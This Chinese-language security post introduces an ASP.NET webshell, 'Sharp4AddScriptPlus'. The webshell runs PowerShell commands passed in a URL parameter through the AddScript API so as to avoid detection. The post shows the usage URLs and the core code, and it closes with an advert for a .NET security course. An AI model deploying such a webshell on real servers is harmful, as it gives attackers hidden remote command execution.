01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4AddScriptPlus 通过调用 PowerShell 的底层方法 AddScript 来实现命令执行,而无需启动 PowerShell 进程,极大降低了被安全防护软件检测到的几率。这种方法不仅能够完成与 PowerShell 的命令交互,还可以在 Web 环境中轻松触发命令执行,使其成为一种高效且隐蔽的 Webshell。
03
使用方法
下面是 Sharp4AddScriptPlus 的基本用法,比如执行启动计算器程序,在浏览器中访问 Sharp4AddScriptPlus.aspx,并通过 GET 参数 con 传递 PowerShell 命令
http://your-server/Sharp4AddScriptPlus.aspx?con=Start-Process%20calc
另外,用户可以通过浏览器访问 Web 页面,并通过 tasklist 可以获取服务器上当前运行的任务列表,命令如下所示。
http://your-server/Sharp4AddScriptPlus.aspx?con=Invoke-Expression%20tasklist
只需传递一个 PowerShell 命令即可立即执行。通过 Web 页面交互式执行命令的方式降低了使用难度。如下图所示。
04
原理解析
下面是 Sharp4AddScriptPlus 的实现代码,该工具通过 System.Management.Automation 命名空间中的 PowerShell 类来实现命令执行,
<%@ Page Language="cs" %>
<%@ Assembly Name="System.Management.Automation,Version=3.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35" %>
<%@ Import Namespace="System.Management.Automation" %>
<%@ Import Namespace="System.Management.Automation.Runspaces" %>
随后,调用 PowerShell.Create() 创建一个 PowerShell 实例,并通过 AddScript(command) 方法将用户输入的命令添加到命令队列中,如下所示。
using (PowerShell PowerShellInstance = PowerShell.Create())
{
PowerShellInstance.AddScript(command);
}
使用 Invoke() 方法执行 PowerShell 命令,并将结果存储在 Collection<PSObject> 类型的 output 变量中。然后通过循环将每条输出结果转换为字符串,并追加到结果集中。
综上,Sharp4AddScriptPlus 是一款强大且灵活的 PowerShell Webshell 工具,特别适用于需要绕过传统 PowerShell 检测的渗透测试和红队场景。
05.NET安全知识库
星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。